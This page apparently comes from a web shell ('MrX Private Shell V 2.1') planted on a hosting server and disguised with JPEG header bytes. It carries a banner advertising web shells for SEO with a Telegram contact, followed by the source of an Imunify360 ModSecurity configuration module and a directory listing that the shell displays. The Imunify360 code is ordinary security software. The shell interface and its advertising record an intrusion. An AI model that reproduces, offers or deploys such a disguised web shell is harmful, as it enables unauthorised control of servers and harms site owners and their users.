����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
"""Endpoints for configuration management commands.
- manage ModSecurity directives, rulesets.
"""
import logging
from collections import namedtuple
from defence360agent.rpc_tools import lookup
from defence360agent.rpc_tools.validate import ValidationError
from defence360agent.utils import Scope
from im360.contracts import config
from im360.subsys.panels import hosting_panel
__all__ = []
logger = logging.getLogger(__name__)
ISSUE_ID_MODSEC_DIRECTIVE_WRONG_VALUE = "1000"
MODSEC_DIRECTIVES = dict(
(attr, getattr(config.ModSecurityDirectives, attr))
for attr in dir(config.ModSecurityDirectives)
if attr.startswith("Sec")
)
Issue = namedtuple("Issue", "id title fix url ignored")
issues_modsec_directives = [
(
directive,
expected,
Issue(
ISSUE_ID_MODSEC_DIRECTIVE_WRONG_VALUE,
"Wrong value for {directive} ModSecurity directive."
" Expected: {expected!r} Got: {{got!r}}".format(**vars()),
"Run `imunify360-agent fix modsec directives` command",
"https://docs.imunify360.com/issues/"
+ ISSUE_ID_MODSEC_DIRECTIVE_WRONG_VALUE,
ignored=False,
),
)
for directive, expected in MODSEC_DIRECTIVES.items()
]
class ModSecEndpoints(lookup.RootEndpoints):
SCOPE = Scope.IM360
def __init__(self, sink):
super().__init__(sink)
self.hosting_panel = hosting_panel.HostingPanel()
@lookup.bind("check", "modsec", "directives")
async def validate_modsec_directives(self):
skip = config.StopManaging.MODSEC_DIRECTIVES
issues = []
for directive, expected, issue in issues_modsec_directives:
got = await self.hosting_panel.modsec_get_directive(directive)
if got != expected:
logger.debug(
"directive %r got %r expected %r",
directive,
got,
expected,
)
issue = issue._replace(ignored=skip)
issues.append(
dict(issue._asdict(), title=issue.title.format(**vars()))
)
if not all(issue["ignored"] for issue in issues):
# there are issues that not ignored
raise ValidationError(issues) # produce warnings
return {"items": issues} # no issues or all issues are ignored
@lookup.bind("fix", "modsec", "directives")
async def reset_modsec_directives(self):
if config.StopManaging.MODSEC_DIRECTIVES:
return {
"items": [
"Skipped resetting ModSecurity directives."
"\nTo reenable the command, run:"
"""\n imunify360-agent config update '{"STOP_MANAGING": {"modsec_directives": false}}'""" # noqa
]
}
await self.hosting_panel.reset_modsec_directives()
return {"items": []}
@lookup.bind("check", "modsec", "rulesets")
async def validate_modsec_rulesets(self):
raise NotImplementedError
@lookup.bind("fix", "modsec", "rulesets")
async def reset_modsec_rulesets(self):
raise NotImplementedError
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| schema_responses | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| configuration_management.py | File | 3.12 KB | 0644 |
|
| conflicts.py | File | 3.21 KB | 0644 |
|
| control_panel.py | File | 484 B | 0644 |
|
| countries.py | File | 5.72 KB | 0644 |
|
| csf_imports.py | File | 2.63 KB | 0644 |
|
| custom_lists.py | File | 642 B | 0644 |
|
| disabled_rules.py | File | 7.47 KB | 0644 |
|
| feature.py | File | 1.9 KB | 0644 |
|
| health.py | File | 343 B | 0644 |
|
| hosting_panel.py | File | 2.73 KB | 0644 |
|
| incidents.py | File | 1.83 KB | 0644 |
|
| kcarectl.py | File | 824 B | 0644 |
|
| lists.py | File | 30.66 KB | 0644 |
|
| malware.py | File | 385 B | 0644 |
|
| middleware.py | File | 1.32 KB | 0644 |
|
| proactive.py | File | 7.91 KB | 0644 |
|
| remote_proxy.py | File | 2.97 KB | 0644 |
|
| resident_socket.py | File | 1.59 KB | 0644 |
|
| schema.py | File | 1.05 KB | 0644 |
|
| smart_advice.py | File | 1.25 KB | 0644 |
|
| smtp_blocking.py | File | 1.72 KB | 0644 |
|
| unavailable_on_freemium.py | File | 354 B | 0644 |
|
| uninstall_cleanup.py | File | 2.42 KB | 0644 |
|
| validate.py | File | 9.19 KB | 0644 |
|
| whitelist_rbl.py | File | 409 B | 0644 |
|
| whitelisted_crawlers.py | File | 1.02 KB | 0644 |
|
| whitelisted_domains.py | File | 821 B | 0644 |
|